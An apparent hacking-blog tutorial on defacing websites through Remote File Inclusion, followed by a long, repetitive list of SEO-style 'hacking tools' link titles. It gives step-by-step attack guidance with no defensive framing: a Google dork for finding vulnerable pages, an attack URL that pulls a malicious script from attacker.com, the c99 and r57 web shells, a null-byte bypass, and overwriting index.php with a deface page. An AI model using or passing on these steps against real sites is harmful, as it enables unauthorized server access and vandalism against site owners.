HOW TO DEFACE A WEBSITE USING REMOTE FILE INCLUSION (RFI)?

HOW TO DEFACE A WEBSITE USING REMOTE FILE INCLUSION (RFI)?

Remote File Inclusion (RFI) is a technique that allows the attacker to upload a malicious code or file on a website or server. The vulnerability exploits the different sort of validation checks in a website and can lead to code execution on server or code execution on the website. This time, I will be writing a simple tutorial on Remote File Inclusion and by the end of the tutorial, I suppose you will know what it is all about and may be able to deploy an attack.

RFI is a common vulnerability. All the website hacking is not exactly about SQL injection. Using RFI you can literally deface the websites, get access to the server and play almost anything with the server. Why it put a red alert to the websites, just because of that you only need to have your common sense and basic knowledge of PHP to execute malicious code. BASH might come handy as most of the servers today are hosted on Linux.

SO, HOW TO HACK A WEBSITE OR SERVER WITH RFI?

First of all, we need to find out an RFI vulnerable website. Let's see how we can find one.

As we know finding a vulnerability is the first step to hack a website or server. So, let's get started and simply go to Google and search for the following query.

inurl: "index.php?page=home"

At the place of home, you can also try some other pages like products, gallery and etc.

If you already a know RFI vulnerable website, then you don't need to find it through Google.

Once we have found it, let's move on to the next step. Let's see we have a following RFI vulnerable website.

http://target.com/index.php?page=home

As you can see, this website pulls documents stored in text format from the server and renders them as web pages. Now we can use PHP include function to pull them out. Let's see how it works.

http://target.com/index.php?page=http://attacker.com/maliciousScript.txt

I have included my malicious code txt URL at the place of home. You can use any shell for malicious scripts like c99, r57 or any other.

Now, if it's a really vulnerable website, then there would be 3 things that can happen.

1. You might have noticed that the URL consisted of "page=home" had no extension, but I have included an extension in my URL, hence the site may give an error like 'failure to include maliciousScript.txt', this might happen as the site may be automatically adding the .txt extension to the pages stored in server.
2. In case, it automatically appends something in the lines of .php then we have to use a null byte '' in order to avoid error.
3. Successful execution.

As we get the successful execution of the code, we're good to go with the shell. Now we'll browse the shell for index.php. And will replace the file with our deface page.

Related links

1. Hacking Tools 2020
2. Pentest Recon Tools
3. Hacker Tools For Ios
4. Hacker Tools Hardware
5. Best Hacking Tools 2020
6. Hack Tools For Windows
7. Pentest Recon Tools
8. Hack Tools Online
9. Hacking Tools Kit
10. Hacking Tools For Mac
11. Hack Tools Github
12. Termux Hacking Tools 2019
13. Hacker Tools Github
14. Github Hacking Tools
15. Hacking Tools Mac
16. Pentest Tools
17. World No 1 Hacker Software
18. Hack Website Online Tool
19. Pentest Tools Subdomain
20. Hack Tools Download
21. Beginner Hacker Tools
22. Pentest Tools Review
23. Hacking Tools Download
24. Easy Hack Tools
25. Pentest Tools For Mac
26. Pentest Tools Windows
27. Pentest Tools Framework
28. Pentest Tools For Mac
29. Wifi Hacker Tools For Windows
30. Pentest Tools Free
31. Hackers Toolbox
32. Hacker Tools For Mac
33. How To Install Pentest Tools In Ubuntu
34. Physical Pentest Tools
35. Pentest Tools Review
36. Bluetooth Hacking Tools Kali
37. Hacker Tools Free
38. Hack Tools Pc
39. Hack App
40. Hack Tool Apk
41. Hacking Tools Online
42. Ethical Hacker Tools
43. Hacker Tools Online
44. Hack App
45. Hack Tool Apk No Root
46. Tools For Hacker
47. Hacker
48. Hack Tools For Mac
49. Pentest Tools Website Vulnerability
50. Hacking Tools For Windows 7
51. Pentest Tools Website Vulnerability
52. Best Hacking Tools 2019
53. Hacking Tools Mac
54. Hacker
55. Hacking Tools And Software
56. Pentest Box Tools Download
57. Free Pentest Tools For Windows
58. Hacking Tools 2019
59. Game Hacking
60. Pentest Tools For Ubuntu
61. Hacking Tools Online
62. Hacker Tools Apk
63. What Is Hacking Tools
64. Pentest Tools Linux
65. Hacking Tools Software
66. Usb Pentest Tools
67. Hacker Tools Windows
68. Hacking Tools
69. New Hacker Tools
70. Hacking Tools For Pc
71. Hacker Tools 2019
72. Hacker Tools Hardware
73. Hacker Tools Free
74. Hack Tools For Games
75. Hacking Tools Online
76. Black Hat Hacker Tools
77. Hacker Tools List
78. Hacking Tools For Windows
79. Hacks And Tools
80. Hacker
81. Hack Tools For Windows
82. Nsa Hack Tools
83. Hack Tools
84. How To Hack
85. Pentest Tools Website Vulnerability
86. Hacker Tools 2019
87. Pentest Reporting Tools
88. Hacking Tools Mac
89. Beginner Hacker Tools
90. Hacker Tool Kit
91. How To Make Hacking Tools
92. Hacking Tools For Beginners
93. Hacking Tools
94. Hacks And Tools
95. New Hacker Tools
96. Hack Tools For Mac
97. Hacker Hardware Tools
98. Hack Tools
99. What Are Hacking Tools
100. Pentest Tools Windows
101. Hackers Toolbox
102. Hacking Tools For Windows Free Download
103. Pentest Recon Tools
104. Hacking Tools Download
105. Pentest Tools Alternative
106. Growth Hacker Tools
107. Hacking Tools And Software
108. Android Hack Tools Github
109. Hacking Tools Name
110. Hacker Tools For Mac
111. Hacker Techniques Tools And Incident Handling
112. Hack Tool Apk
113. Hacking Tools Usb
114. Hacker Tools For Ios
115. Hack Tools 2019
116. Black Hat Hacker Tools
117. Hacking Tools Windows 10
118. Pentest Tools For Mac
119. Pentest Tools
120. Computer Hacker
121. Tools Used For Hacking
122. Hacking Apps
123. Hacking Apps
124. Hacking Tools Download
125. Hacking Tools Usb
126. Hacking Tools 2019
127. Easy Hack Tools
128. Hack Tools
129. Pentest Tools Nmap
130. Nsa Hack Tools
131. Pentest Tools Android
132. Wifi Hacker Tools For Windows
133. Hack Tools
134. Pentest Recon Tools
135. Pentest Reporting Tools
136. Pentest Tools Linux
137. Hacking Tools For Windows 7
138. Hacker Tools Github
139. Hack Tools
140. Top Pentest Tools
141. Hacker Tools Apk
142. Hacking Tools For Windows 7
143. Hacking Tools Windows
144. Pentest Tools Linux
145. Hack Tools For Games
146. Hacker Tools For Windows